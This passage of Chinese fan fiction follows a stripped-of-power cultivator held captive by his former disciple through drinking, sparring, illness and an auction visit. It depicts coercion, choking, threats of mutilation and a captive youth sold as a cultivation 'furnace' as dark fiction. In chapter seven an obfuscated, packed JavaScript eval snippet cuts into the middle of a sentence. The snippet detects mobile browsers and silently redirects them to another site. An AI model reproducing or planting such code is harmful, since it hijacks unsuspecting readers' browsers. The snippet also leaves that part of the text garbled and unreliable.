他的力量不足以推翻对方,他的一切都由对方提供,他的一举一动都在对方的‘管控’之下。 而他现在能依仗的,唯有泰山崩于面前而不改的神情、能快速分析利弊得出结论的头脑,以及,对方那莫名其妙的,感情。 拒绝对方无所谓。只要给他一点别的‘补偿’,不一杠到底,对方就不会轻易撕碎‘和平’的表象,与他正面硬上。 毕竟。对方确实拥有随时掀桌硬来的权利。 甭管是对方心怀鬼测的布局引.诱他也好,还是刻意虚晃一招,令他跌入万丈深渊也罢。 这个空缺已然展现,沈清秋就不可能不去尝试。 让他看着能逃离的破绽却安守于困阵之中,他做不到。 ‘那么。’沈清秋抚摸着书页,轻叹出声:‘这把刀,我会好好使用的。’ 敌人已亲手将软肋亮出来,他若是不能抓住机会一击必杀,还真是不如自裁算了。 第六章立场之争,从无对错 随着时间的流逝,两人的关系,慢慢的成了一种极为平和的相处。 冰哥看着愿意陪自己吃饭,偶尔向自己索要书籍的沈清秋,觉得日子就这样过下去也不错。 二月,草长莺飞,万物生长。两人于烟花爆竹中观赏人间烟火,冰哥整治了一大桌满汉全席邀沈清秋吃‘团圆饭’,还非要从沈清秋手上拿走几张画做“新年礼物”。 五月,天色渐长。傍晚过后,沈清秋会拎着几壶梨花白上屋檐赏月。冰哥从一开始的试图灌酒,到后面的喝醉就开打。倒也习惯了陪对方吹晚风、小酌几杯。 七月酷暑,沈清秋贪凉,没事就躲凉处抚琴看书,泡澡沐浴。冰哥看着对方明显因天热而懒散下来的性子,一时间有点哭笑不得:“这家伙在山上勤勤恳恳,成为凡人后反倒惫懒逃闲了。” 九月秋风起,一场秋雨一场寒。温度瞬间直降之下,沈清秋生了场缠绵整个九月的小病。原因倒是平平无奇,天渐凉,却依旧喜欢去山间泡澡,身体虚扛不住寒意,受了风寒。 十月北风起,天空飘起了零星小雪。 沈清秋失去修为后再也不能雨雪不沾身,故而乌发叠上白绒,像是一瞬间染上苍老。 冰哥看着对方的‘白发’,脑中闪过一句不知从哪里听到的话语:“大雪纷飞最适合同行,愿与君携手,以青丝结发、直到白头。” 他手中拿着干净布锦,帮沈清秋一点点擦干发尾,看着‘乖巧’任自己把玩发丝的对方,心里柔软一刻。 若是能带他出行,一起从满头乌发走到雪染白发,怎么不算‘共白头’呢? “师尊,可想踏雪寻梅?” “不去,冷。” “弟子陪着您,怎么会冷?” “寒风冷冽,凡人之躯,如何扛得?” “您这是怪弟子?”冰哥帮沈清秋披上滚了圈狐狸毛领的披风,悄悄的触碰了下对方的脖颈——确实冷的像冰,体温低的可怕。 “师尊。”冰哥原以为对方在嘲讽,却没想到沈清秋居然难得的诚实。他毫无芥蒂的抓起沈清秋的手腕,探上其脉搏:“您体内的阴冷气息复发了?” 沈清秋甩掉冰哥的触碰,裹紧大氅,让冰哥去取酒来。天寒地冻的,出去寻什么梅,哪有围着火炉饮酒烫锅舒服。 “死者为过客,存活者……为墓碑。” “您说什么?”冰哥看着脸色端正肃穆、嘴里念念有词、手上还倒了一壶酒于地面的沈清秋,眼里闪过不满,却还是故作不解的询问道。 “晚来天欲雪,煮酒观景确实不错。”沈清秋选择不回答对方的问话,自顾自烫酒饮酒,听风赏雪。 冰哥看着完全不理睬自己的家伙,想着对方近期来的‘乖巧、平和’,决定给对方几颗枣: “您若喜欢,弟子明日带您出去转转。” “当真?” “千真万确。” ———— “师尊啊。”冰哥看着面色沾上三分红润与两分茵醺的沈清秋,总觉得此刻气氛轻松,不问点什么可惜了。 “嗯?”醉酒的人,性情都不大好。不是想打架骂人闹事,就是不理俗世、只想睡觉。 可当他处于刚刚迷茫却还没醉、酒意四散却仅仅微醺的状态时,心情会格外的放松与轻快。自然也愿意回答一些平日里不愿出口的话语。 “您到底如此厌恶我呢?” “?” 沈清秋有些无辜的看了冰哥一眼,里面的疑惑是那么明显,就像是完全不理解对方问了个什么傻B寂寞似的。他的头脑已经开始迷糊,眼前隐约出现重影和幻觉。就像是,曾经的那些人,在陪他把酒言欢。 虽然。沈清秋并没有几个朋友。 “师尊~”蛞燥的声音在耳边一直响起,他扭头,看向对方那极为执着、认真到像是研究世界如何形成、又是如何毁灭一般的严肃目光。其神情真挚的,就像是剖开胸膛、想将内心深处最想知道的疑惑问出来求解一样。 沈清秋不太能理解他想知道什么,但又在这样专注的目光下,有点难以拒绝回答。 少顷,他将眼神收回,将酒杯重新填满,有些不稳的举杯,配着窗外的飘雪,敬向外面的明月。 冰哥看着侧身不回答、或者说不太想回答的沈清秋,上前一步,将对方的脸掰向自己,盯着他的眼睛,再次询问道:“您为何,不愿意如对待明帆一样对我呢?” 他知道自己不是幸运的‘冰妹’,也不可能匹配到温柔的‘沈垣’。所以,他只想得到和明帆一样的,被他看在眼里,正常吩咐、偶然指导就够了。 “你叫什么。”被他‘强行’掰过来与之对视的沈清秋、突然问道。就像是喝醉后头脑不清晰一般,露出有些温和、有些整懵、有些分不清状况的礼貌微笑。 “?”冰哥先是一愣,接着仔细观察对方的表情,确定他真的醉到有些不记事了。有些哭笑不得的回复句:“弟子洛冰河。” “哦。”沈清秋脸上微笑收回,换上一副酒醉之人不想管事却又被逼干活的了然之色:“那个奸细杂种啊。” “???!!!” 冰哥原本想着对方醉了,他要迁就一点。而且看他醉的不轻的状况下,说不定还能亲密接触一番——可现在发现,对方有一定可能是真醉了,但性子好像更恶劣了! 他当即将对方手里还在喝的酒杯一把夺下,又将酒壶放到沈清秋够不着的桌边,捏着对方飞上大片红晕的脸颊和明显有些涣散的眼睑。 真好。看起来是真醉糊涂了。 冰哥看着将平日里的冷漠、警惕、平和等伪装都撤去的沈清秋,觉得自己这顿酒喂的真好。 若是这家伙的回答令他不满意,今后这个宅子也不需要存在了。这家伙的归宿,只适合地牢。 “师尊啊。”冰哥紧盯着对方有些犯困、里面敛了一层水雾的眼睛,第三次问出他的疑惑:“您为何对弟子如此不喜?” 当然,若是这次还得不到回答,那就干脆别回答了。割去舌头或身体力行赔偿比什么回答都好用。 喝醉的沈清秋并不在乎对方问什么,也不在乎自己的下巴被人牵制,咽喉岌岌可危。他只是打了个哈欠,眼里浮起一层困意聚集的泪光:“好困。” “所以,您是拒绝回答?”冰哥声音有些危险,眼睛眯成一条线,心中已在思考要不要先睡再扔地牢。毕竟养了这么久,直接扔牢里,可惜了。 沈清秋看着执着的冰哥,伸手将对方抓着自己下颚的手打掉,脸上浮现出冰哥熟悉的,曾经的清净峰峰主惯常使用的上位者威严、与冷漠: “一介奸细,本尊已给过一次机会。如今还敢出现,是觉得本尊性子好?” “……”冰哥有些无语。他看着酒醉后‘威严’不少的沈清秋,以及对方到处找床、准备施展清洁咒打理睡觉的举动,越发觉得——他是不是将人养的太好了? 且不说是不是因为对方醉了,警惕心降低后,胆子大了不少。 就他这‘理直气壮’的骂他‘杂种’,说他是‘奸细’,还说什么‘给过机会,不知道用’... 沈清秋是真忘了,此时他早已不是高高在上的一峰之主,只是自己的阶下囚、俘虏了啊。 不过……对方说的,也确实不错。 人魔混血。如何不是……杂种? 魔族潜伏入修真界大派苍穹山,如何不是……奸细? 而之前的无尽深渊,看似将他踢下去,却并未将他先行杀死。如何算不得……手下留情,给予一次机会? 可,冰哥还有许多疑问想知道。 沈清秋是何时得知他身份?又为何直到仙盟大会,才将他踹下深渊? 看着趴在桌子上,不停念咒的某人,冰哥一时间有点复杂和矛盾: 若说沈清秋错,以修真界的立场,却又算不得错。可若说他对,冰哥这么久以来的‘恨’,又该怨谁? 最重要的是,明明另一个世界的‘沈清秋’和‘洛冰河’能够如胶似漆,为何他却连爱与恨都难以分辨? 爱。冰哥又不是受虐狂,他怎么可能爱上一个对自己不好,甚至可以说是童年阴影的人? 恨。可以对方的立场与地位来说,对方确实并未做错什么;甚至正如他所说,沈清秋一开始的‘没揭穿’与后面的‘没杀死’,都已手下留情。 那么。 他们之间,究竟是怨恨纠缠多一些,还是纯粹的立场界限之争? 地牢里的沈清秋从不求饶,因为他知道,俘虏的下跪服软没有意义。 宅子里的沈清秋从不安分,只要冰哥稍微过火一点点,轻则双方互打互杀,重则对方直接开禁术,以‘弄不死你也要弄死自己’的凶狠来抵抗到底。 烈性与毫不退缩在他身上体现的淋漓尽致,唯有小心试探,才能找出能让双方‘和平’相处的方式。 第七章拿不起剑,还是招唤不出来? 次日清晨,沈清秋穿戴好练功服后,看见守在门口的洛冰河。 “?”沈清秋看着手持木剑,乖巧等在一侧的家伙,有些不理解他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083358|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干啥。 “师尊。”冰哥行弟子礼,态度恭敬、姿态强势而固执:“弟子陪您练剑。” 沈清秋:“???” 你要不要听听你在说什么?若不是我打不过你,何至于被你擒到此地软禁? 你一介修真者,我一个失去修为的凡夫俗子。 陪我练剑?你是看我最近没打你,手痒了还是皮痒了? ‘……’ 沈清秋看着死活要跟着自己,还塞给他一把木剑的某人,一瞬间感觉自己被赶鸭子上架了。 这玩意要么是想让他随口来句‘废物’‘杂种’,来刺激他。以探寻他的软肋,好拿捏他。 要么就是想利用这种方式,‘重温’曾经的过往,弥补什么‘童年缺失’。 联想到对方一直以来的‘装嫩、装乖、卖萌’等表现... 沈清秋默默打了个寒颤:咋的,他昨天喝醉后,跟对方约了什么奇奇怪怪的东西吗? 可若说‘约定’,不是对方先说要带他出门的吗! 除此之外,他也不记得答应过什么,更不可能是风流债——他的性取向一直很正常,只喜欢漂亮姐姐,而且他都醉得断片了,怎么可能与人一度春宵? “让开。” 沈清秋将木剑放回武器架,走到练武台去准备热身(修仙可能不需要,但凡俗武术需要)。 冬练三九、夏练三伏。习武这个东西,如果想练好,是不能间断的。 当沈清秋将身体筋骨舒展开来,冰哥又拿着一把木剑过来、站在他视线旁边。 ‘……’看见你就烦。 沈清秋换个方向,冰哥也随之改个位置。 ‘……’更烦了。 沈清秋一点也不能理解冰哥莫名其妙的爱好与行为,他只觉得对方很烦。当一个人对另一个怀有不满的时候,哪怕对方什么也没说,什么也没做,只是站在你的视线所及之处,都令人厌恶。 沈清秋看着眼前跟狗皮膏药似的粘人玩意,一想到自己为何要辛辛苦苦早起练武,又为何不得修炼、要受体内寒气的罪,还有差点被养成血奴,连类别都要改变。 明明是充满希望的早晨,愣是气的他心浮气躁,想动手打人。 或许这些行为,对于冰哥来说,很有意义。 但对于沈清秋来说,这就是对方莫名其妙脑残犯病,疯狂于自己底线来回试探,侵染自己的生存空间。 再加上冰哥一脸的‘希望师尊指导’,就跟看不懂脸色的傻子似的杵着,死活要打扰他的清静。 ‘丫的。’沈清秋暗骂一句,看着外面的银装素裹,有点蠢蠢欲动。既然对方都承诺要带他出去,再加上这人木棍似的杵着令人厌烦,那就勉为其难的,‘指点一下’吧。 沈清秋走到竹林旁,打量一番。 接着他眼神微眯,一脚将某根看不顺眼的竹子踹断,伸手折断竹竿顶部不需要的地方,将乱七八糟的叶子丢掉,以布锦将竿身擦了一遍,随意耍了几个棍花。 棍风凌厉,气势汹汹。一看就……很古惑仔。 ———— 冰哥看着一脚踹断三指粗的竹竿,又直接将两指粗竹子折断的沈清秋,只觉得自己是不是将人养太好了?这人的力度和每日的精气神,有些过于……强健了吧? 换牢里那个,早就被他折磨的连站起都不能,那像现在这样,还能将竹竿耍得虎虎生威?随手耍个棍花还能有破风声? 不过……冰哥看着熟悉棍棒手感的沈清秋,以及号称‘君子剑’却几乎从不配剑,连被他掳来前,哪怕狼狈迎战,也坚决只用符箓与折扇、暗器的‘沈清秋’。 还是感到了深深的疑惑。 他的剑,是召唤不出来,还是拿不起来了? 另一个世界的‘沈清秋’。 修雅随时佩戴,与柳清歌关系密切。 这个世界与自己世界的‘沈清秋’。 杀死了柳清歌,并且再也不用剑。甚至若非必要,连刀枪棍棒这些武器也不曾修习。 修真界传言,沈清秋杀了柳清歌后,再不用剑,难道是真的? 柳清歌的死亡,是不是藏有什么秘密? 当年灵犀洞内,到底发生了什么? 而真正将沈清秋压死的‘杀害同门及修真界顶梁柱’——柳清歌。与沈清秋,到底是什么关系? 这些修真界辛密,冰哥平日里不会关注。但如果他能查清柳清歌死亡原因……说不定,就能拿捏到对方的软肋。 冰哥之前试探过,没成功。沈清秋不想告诉别人的事情,是打死打残都不可能开口的。 而且。 眼前这个,即便是不使用剑,十八般武器、各色武功套路,也是信手拈来。 但……另一个世界,活蹦乱跳、对他充满警惕的、活着的柳清歌,与随身佩戴修雅,从不靠具体剑招、只以灵力压人,后到百战峰修习,重练了一套简单粗暴剑法的沈清秋。 两人,简直天差地别。 两者的差距如此之大,最重要的一点,就是‘柳清歌的死令沈清秋提不起剑;柳清歌活着沈清秋随身佩剑’。 柳清歌,活着与死去。 ‘沈清秋’的状态,截然不同。 那么。且不说死去的柳清歌,令沈清秋拿不起剑,连带些杀伤性的刀枪也不愿选择。 活着的柳清歌,会对沈清秋抱有好感,并且主动教导他剑法吗? 以柳清歌的武痴,会教导一个成名已久,与他同列峰主的……小白? 无可解确实会令修真者无法聚集灵气。但——一个人的肌肉记忆,会因为无法使用灵气而全部忘却吗? 就像是他面前的‘沈清秋’,被他毁去根基,用天魔血压制灵力,还喂了不少魔物破坏他的体质。 可只要冰哥放松对他的管制,沈清秋自会晨起、傍晚练武,暗地里修炼内劲,保证永远有对抗之力。 两人的差别明明如此明显,却为何,始终无人提出质疑? 甚至就连冰哥自己,也是想方设法想让‘沈清秋’变成那副温柔的模样,而不是—— 让‘沈清秋’单独关照自己。 标准的男频世界观里,正常的、受到重视的弟子,该是什么样子呢? 修为碾压同龄人,为人处事极为妥当。向上得长辈喜爱,向下被众人崇拜。平日里替师教课,而他自己的不解之处,师尊会亲自指点解惑,甚至会一起喝酒划拳,下山历练。 可那个世界的‘沈清秋’,却不是这样的。 他关心‘洛冰河’,却也只关心‘洛冰河’。其他的那些弟子,依旧如同之前一样,不被他看在眼里。甚至连最得宠的明帆与宁嘤嘤,都被他远远打发,充当干活工具人。 他爱护‘洛冰河’,却也只为他上心。‘洛冰河’跌入深渊的那几年,‘沈清秋’本该重立一个大弟子,或者重新启用明帆。但他却如同知道什么似的,除了立一个衣冠冢,什么也没做。 看似‘沈清秋’温柔如水,但实际上,无非是被宠爱的人变了。 以前,被宠爱的是明帆和宁嘤嘤,洛冰河是不被重视的小可怜。所以他愤恨、感到不公。 现在被宠爱的是洛冰河,所以洛冰河如同掉入蜜罐里,觉得满世界都是美好的。 在‘毫不重视其他人’这一点上。 两个人,几乎没有区别。 都是那么的,精致利己。 这个世界的‘沈清秋’不同的一点是。即使他不重视其他人,却也不会故意苛刻什么,该给的资源与指导,他依旧会给。只是因为不重视,所以不会理睬太多,更多是下达‘惩罚’的指令,由明帆等负责监督。 而那个世界的‘沈清秋’,则要做的更离谱一点。不被他所在乎的人,他也不会克扣什么,但该有的指导与考核,却交给了只有‘大师兄’虚名,没有‘大师兄’权利,还要承担‘大师兄’责任的明帆。 如此看来。这个并不算仁慈的‘沈清秋’,居然还该死的有责任心啊。 第八章冬天的风,是真冷啊 沈清秋看着还在怔愣不知思索的冰哥,手中竹棍一甩,向着对方的膝盖扫去。这一下用了十足十的力道,必要发泄一下大清早被恶心到的烦闷:胆敢欺师犯上的家伙,给本尊跪下。 冰哥感受到空气被撕裂的风声,看着对方毫不讲武德的‘偷袭’,有些无奈的后退一步,将原本准备给沈清秋的木剑拎在手里,准备迎战对练。 所谓“拳怕青壮、棍怕老郎”。 当一个人不能以力量、反应、爆发力等对战敌人时。经验丰富的‘长者’,自会通过合适的下手时间、调整棍柄长短、变换招式与套路,凭借精准的距离判断、时机把握、攻击角度等以技巧破敌。 沈清秋练剑应该是很好看的。毕竟体态修长,动作优雅、衣诀飘飘,只要手上随便拿剑比划几下,都非常符合世人对剑舞的想象。 只可惜,早在冰哥入内门的时候,沈清秋就不再佩剑了。 这次,冰哥专门取了把木剑等着沈清秋,没想到他竟然直接去折了根竹子要与他对练。 而且最离谱的是,沈清秋不是号称‘君子剑’吗!为什么招招直打关节,处处直指下三路,脚下更是横冲直撞,脚步极重,一招踹中,堪比习硬家功夫的体修。 冰哥早已习惯不掺杂灵力、魔气的与沈清秋对打,但很快他就发现一件事—— 一寸长一寸强,是真的! 他根本近不了沈清秋的身不说,还一直被竹子所鞭打。 沈清秋修为全失,冰哥不用灵力,两人如同凡俗武侠一般纯以招式对拼, 但。他不知道的是,冰哥是横推世界,打遍天下无敌手的存在。 故而,当冰哥被沈清秋劈头盖脸以竹棍打了一顿后,冰哥眼神都危险了。 那是一种,自己极为熟悉的领域里,装.逼却被人打脸的震惊与恼羞成怒。 ———— 两人纯以武器对打。沈清秋越打越习惯,姿态极为放松。 他本就没打算展露太多,故而空有套路,不附内劲。从一开始的打膝盖、点心口、扫肩肘,到后面的敲背、敲头、敲腰、敲大腿、小腿。 所谓‘棍扫一大片’,棍棒本身不是什么杀伤性强的武器。棍乃百兵之祖,材料广泛、制作简便、可随使用者喜好轻松适配,论及方便程度,比木剑还要略胜一筹。 沈清秋选择竹棍,也不曾附加力道,各处‘点到为止’,本就是指导为主,泄恨为辅。抛去私人恩怨,沈清秋确实是一个严师。 冰哥虽被沈清秋劈头盖脸的打了一顿,但除去一开始的险象环生,后面倒真是以指点为主的各种‘敲打归正’。虽比不上另一个世界的冰妹能获得师尊的‘贴身教导’,但如此,已是不易。 本身,在冰哥心中,沈清秋就不是什么慈师。 修为达不到他的要求,会被要求加练;行文章论写的不好,会被丢到藏书阁背书。至于弟子间的打打闹闹,只要不闹到他面前、将脸丢到清静峰外面,便是死了瘫了都无所谓。 标准的男频仙尊,本就不会在意这些小事。他们能看到的,是整体修为如何,出色弟子有几个,考核之时该派谁出场。 至于弟子内部的弯弯绕绕、你推我打,水至清则无鱼,无需管教太多。 只是可惜。他不是主角。所以他的‘严师风格’,自然会被人指责不够尽心尽力,自然也……比不过‘沈垣的慈爱友善’。 沈清秋最后‘指点’完毕,左手将竹棍背在身后,神态平静、状态轻松。想到已将令自己生气之人狠狠打了一顿,心中郁闷消解大半,心情好,语气也相对平和许多:“方才指出的几点,好好体悟。” 冰哥摸了摸因衣着较厚而并未留下伤痕的胳膊,明了这是对方‘力所能及’的情况下,最大程度的‘让步’与‘示好’。他向前一步,拱手行礼:“是,弟子谨记。” 看着明显放松的沈清秋,与两人间轻快愉悦的氛围,冰哥难得的勾起一抹真心笑意。 即便他心里想要的,是温柔如水、主动热情的沈清秋。但面前这个遵循修真界习俗,于小事上不甚尽心、大事上却从不含糊的‘沈仙尊’,又如何不让人心动呢? ———— 沈清秋转身欲离开,左手将竹竿反手背于身侧,右手掐诀,施展‘清洁咒’,第一次,没施展出来。他愣了一下,不信邪,又念一次,依旧无事发生。 冰哥看着沈清秋从一开始的轻松惬意,到后面的怔愣不解,最终脸色突然阴沉,竹竿传来‘咔嚓’的声音,被沈清秋拿在手里的竹柄,碎成了摇摇欲坠的几块。 这是……猛然惊醒了? 冰哥看着刚才潇洒轻快、现在浑身阴郁的某人,心底深处升起一种诡异的满足来:‘你凭什么面色平静,仿佛能接受一切、改变一切?既然身为俘虏,就该早些认清事实。’ 沈清秋转头,正巧看到冰哥眼中一闪而过的恶意。心里猛地一惊,寒风拂面,他忽然想起很早之前的、残酷现实——他,早就不能施展仙术道法了。 看着刻意装嫩的罪魁祸首,沈清秋将手中竹竿丢在地上,转身就走。 出汗后的衣物里,布满了湿气。随着早上略凉的风一吹,激得人浑身发冷。 多少年了,自从他筑基之后,再也不曾感受到寒风的冷意。而今,只是落雪后的凉风,却令他像是掉入冰渊里面,如此...冰冷又刺骨。 第九章潜移默化,是件......的事情? 当一个人能认清楚自己定位的时候,他是不会感到生气或失落的。 而当一个人突然看清自己周围的真相时,要么他会崩溃,长久以来建立的三观崩塌;要么,就是快速收敛一切情感,尝试游戏人间。 很不巧,沈清秋他,又又又忘记了,他早已不是修真者。 所以,当他顶着一身热汗,沾染一身寒意回到屋里的时候,果不其然的,发热伤寒了。 真是令人伤心,失去修真者的能力就算了,还将自己搞成了病秧子。饭不吃会饿,觉不睡会没精神,现在就连不快速换暖和、干净的衣物,都会伤风寒。 最重要的是,他不会做饭不说,还没能力赚钱,也跟其他人抢不了机缘灵物。 大概没有仙尊能混的这么惨吧?纯纯是个要被人养着的废物啊。 —— 沈清秋全身放松,将自己沉入暖池中,认真反思。 他的本意,是先苟着,不去刻意激怒对方,等他确认对方像从他这里获得什么后,再以这个为把柄,拿捏对方软肋。 可现在看来,被困入网里的,竟是他自己。 他被温水煮了那么久,竟真的与对方‘和平共处’了那么久,接受对方‘准备’的一切,自以为反抗,实则‘心甘情愿’的接受、妥协。 尤其是,他在平和的环境里待太久,总是忘记自己修为尽失,对方随时能以绝对的武力镇压于他,令他求活不能,求死更不能。 这样的境地太危险了。生死不由人不说,他就算是‘逃’出去了,也没有抵抗之力、可逃亡的地点。 虽说他之前的策略也不算错。 不能直接反抗。所以他试探几次后,拒绝完全不能接受的,接受几个选项中看起来最好的。 不能明显违背对方意愿。所以他选择了明面上不违背,私底下暗自思索如何破局。 可。他最没想到的,对方想要的,貌似就是他的“不拒绝”“平淡接受”。 甚至说,过于平和的环境里,他竟然会在某些时刻,在对方面前毫无忌惮的喝醉、真的将他当成需要被指点的弟子。 这种‘悄无声息’的‘环境变化’,实在是太可怕了。他的某些下意识行为,居然真的发生了改变! 当周围环境太温暖的时候,人是没办法感知到逐渐升高的水温的。也没办法接受,外部逐渐寒冷的天气变化的。 而现在,他如何不是一只从野外被擒的野鹰,一点点被折去羽翼,剪去利爪和牙齿,再也没有翱翔于天的胆量和能力? 所有的妥协,都是一退再退。 所有的隐忍,失去了‘最后一击’的举动,都是在一步步降低底线。 若是他失去了应对的警惕之心,便是给了他出逃的机会,他还能在第一时间抓住机会逃离,并拿身家性命去拼一把吗? ———— 冰哥看着于书桌练字的沈清秋,恭恭敬敬的行礼:“弟子已将xx策论完善,请师尊指点。” 无人回应。 再次发声:“弟子于xx寻得xx灵物,献于师尊。” 无动静。 冰哥有些不满,声音加重:“弟子整制了些您最爱的桃花糕,搭配上玉泉山水冲泡的紫竹茶,师尊可要用些?” 对方依旧没回应,继续练字。 冰哥不开心了,他直接站起来,脚步加重,走到沈清秋身后。 嗯……这家伙,只练了一个字,并且写了三章有余。 冰哥上前一步,左手自然而然的揽住对方的细腰,右手抓住对方的手背。轻嗅对方未干的发香,心情愉悦不少:“师尊既然有闲情逸致,弟子也陪同一二。” 说着,他感受到对方一瞬间的僵硬,在对方还来不及抵抗的时候,将人紧紧的拥在怀中,不让其离开。右手控住对方的手指,一点点写了个“山”。 山有木兮、木有枝,心悦君兮、君不知。 沈清秋左手打向对方右手,被冰哥快速握住,十指交叉,紧紧相连。 “?”反抗无效后,沈清秋的动作一瞬间猛烈许多,他就像是触电般疯狂甩动手腕,脚后跟用力一踏,膝盖抬起猛攻下三路。 趁对方躲避之时侧身一闪,远远的大步跨出,停在距离冰哥三步远的位置。转移话题:“不是说出门?” 冰哥看着面色冷淡,但眼神比平常要发亮些的沈清秋,想着对方练了三章多的‘忍’,和完全不让抱、不让摸、没事就伸爪子的行为,刻意端了一下:“有吗?师尊是想出去转转吗?” “…”对方的脸色瞬间拉长,某种‘期待感’无影无踪,浑身写满了‘被辜负’,脸上隐约写了两个字:“送客。” 冰哥微微笑了笑,看着只写了一个‘山’的白纸,有些可惜的叹口气。极为‘好学’的看着沈清秋,询问道:“师尊想去哪里逛呢?” 闻言,沈清秋重新换了个外衫,将手清洗干净后,认真思考。 逛街太冷,而且无趣。 骑马踏雪倒是不错,可惜他身子骨太弱,怕是又跟早晨一样,回来要喝上不少苦药。 寻几处风景绝佳之地,探索一下有没有能令人重新修炼的机缘,配上几壶小酒,赏景吟诗是最好的。而若是身边还有佳人相陪,跳个舞弹个曲什么的,就更妙了。 “外出四方走走,观望一下雪景即可。”沈清秋神情淡淡,眼里的期待都快溢出来了,嘴上却旁白直抒到令人怀疑他在不在人世间。 “这么简单?”冰哥有意逗他,“想要什么,说出来,弟子又不是不安排。” “本就无甚需要。”沈清秋再次强调,神情淡漠,表情勉强的仿佛是被强拉出门似的。 “是吗?”冰哥笑的有些调侃,你若是执意要维护自己‘清冷仙尊’的人设,可别怪我真随便带你走走撒~ 沈清秋脸色平淡,人却已站在了门外,扭头催促道:“走吧。” “行行行”冰哥有些憋笑,快步走到门外,一把撤除禁制,拉起沈清秋的衣袖,撑起一把伞来:“弟子给您开道。” 第十章他两之间,无需伪装 带沈清秋出门,其实并不困难。冰哥一直不让他出来的原因,也无非是怕对方在某个时刻偷溜消失,接着……死在外面。 毕竟,沈清秋那张嘴啊,得理不饶人不说,不占优势也能说出十分理。 而修真界与魔界,从来都……不靠嘴巴去讲道理逻辑的。 修真者集市上,人流如织,各色宝物聚集。如凡俗逛街的小巷一样,三三两两的散落在各个摊位上。讨价还价、聚众八卦,气氛极为热烈。 “三千年灵芝,年份绝对只多不少!” “仙魔大战的残剑,质地坚硬,是熔铸本命法器的不二之选啊!” “十块十块,只需十块灵石,这盒丹药打包带走~买不了吃亏买不了上当诶~” 冰哥看向小心翼翼躲避人群的沈清秋,看着他眼中的好奇与期待,却又极不适应的无处下脚,问道:“师尊可有想要的?” 沈清秋脸上戴个精致的银色面具,一边谨慎的注意不要踩到别人财物,一边快速扫视摊位上的各色奇珍异宝,观察着来往人群。 听到冰哥的问话,目光直视远方,声音毫无起伏:“既无修为,取来何用?” 冰哥:…… 若是你能从容一些,或者大步流星的不在乎踩到、撞到旁人,他或许就信了。 只是。以沈清秋的经历,这种修真集市,怕是从不过来吧? 这人是不是有些惧怕与旁人交流接触?那么,要不要去拍卖会逛一下? —— 果然,进入包厢之后,沈清秋的动作明显自如许多。他悠然的从袖子里摸出把折扇,观看着台下的竞拍。 随着敲门声响起,数名妙龄少女与柔软少年进入,奉上瓜果茶水之后,静静的站在一旁,等候吩咐。 台上出现一名相貌极美的少年。 幼圆的双眼中满是因害怕涌起的雾气,柔顺的发丝贴在少年因紧张而微微出汗的脸颊,不着寸缕的身躯上,唯有手腕与脚踝的金玲时不时发出清脆响声。 这是一个,柔软的、毫无反抗之力的、能帮人净化灵力提升修为的,水系天灵根炉鼎。 “师尊。您可喜欢?” 冰哥的声音在沈清秋身后响起,对方明明之前还与他对坐,现在却跑到自己旁边,如一个普通弟子般,替沈清秋轻捶肩膀。 “……” 这样的画面,像极了……他将洛冰河踹入深渊后,在怡春楼与对方第一次见面的场景。 只是,当时台下跳舞的,是沈清秋喜爱的美人;而这次,是被展示出来的玩物。 若台上展出的是风情万种的花魁,或难以寻得的奇珍异宝,沈清秋还有心看上几眼。 可若是一名手无缚鸡之力的、被擒来充当装饰品、发泄工具的炉鼎。 他只会感觉悲哀与荒谬。 世界本就如此,强者获取一切,弱者连生存都是问题。当一个人长了张倾国倾城的脸,却没有对应实力时。 等待他的,从来不是众人追捧,更不是万花丛中走、片叶不沾身的风流。 而是,被送上祭台、打落尘埃的,罪恶。 “师尊,您不喜欢他吗。” 冰哥的声音介于少年与青年之间,由于站在身后,沈清秋看不见他的表情是多么玩味。但光凭这些天的相处,沈清秋了然,对方必不安好心。 果然,对方的手缓缓掐住沈清秋的脖子,手指按压于喉结之上,呼吸撒在端坐之人的耳后: “弟子觉得,您比他诱人多了。” 脖颈当真是容易被拿捏的部位,浅薄的皮肉不足以填充骨架,敌人只需稍微一点点的发力,无论是按压,还是扭动,亦或是尖锐的划痕——都能置人于死地。 台下气氛热烈,标价已喊到十万灵石。少年绝美的容颜,纯粹的灵根,娇弱的性子。无论是几度春风,还是精进修为,亦或是玩些不足为外人道的游戏,都是极好的选择。 “是吗。” 冷淡的声音自手指中颤动,细腻的触感与微微的波动,都使人想更进一步。 台下已进入最后的争夺,一个赛一个的高价被喊出,为了绝美的‘佳人’,多的是人豪掷千金。 冰哥将上身贴在沈清秋肩膀,从身后将人拥入怀中。左手按压着对方挣扎的手臂,右手抚摸着对方摘去面具后的侧颜。 “若弟子将您送上去,怕是屋顶都会被掀翻。” ———— “师尊,弟子知错了……您别气……” 冰哥拽着沈清秋的衣袖,身躯已恢复成刚入门时的青涩。他的个头仅有沈清秋胸口高,一边小心翼翼的拉着对方担心被甩开,一边软绵绵的撒娇: “师尊,弟子看见那边有糖葫芦,我们去买糖葫芦吧!” 很好,沈清秋根本不可能回应诸如‘吃什么’‘玩什么’‘看什么’的话题,冰哥只能施加一点点力道,将人强行拖到冰糖葫芦的摊子上。 手边是糖匠制好的糖块,冰哥用勺子敲下一块,以文火融化至起细密小泡,快速于冷水木板上勾勒出两人模样。 “师尊~” 冰哥将手牵手的‘简笔画’递与沈清秋,并在对方准备扔地上之前,以迅雷不及掩耳之势将糖人塞向对方口中。 “弟子与您开个玩笑,吃点甜的,心情会好很多。” “……” 有时候沈清秋真的会怀疑,这家伙是不是精神分裂。 怎么会有人将狠辣与天真切换得如此之快,上一秒还掐着他的脖子,要将他送上拍卖会;下一秒却笑的如最纯粹的孩童,拉着他的手为他绘制糖人。 “莫装了。”沈清秋将唇边的冰糖葫芦推开,黝黑的眼珠盯着脸庞稚嫩的少年:“我不吃糖。” 少年与沈清秋对视许久,表情从一开始的天真可爱,变得深沉阴冷。 是不吃糖,还是不吃他递过去的东西? 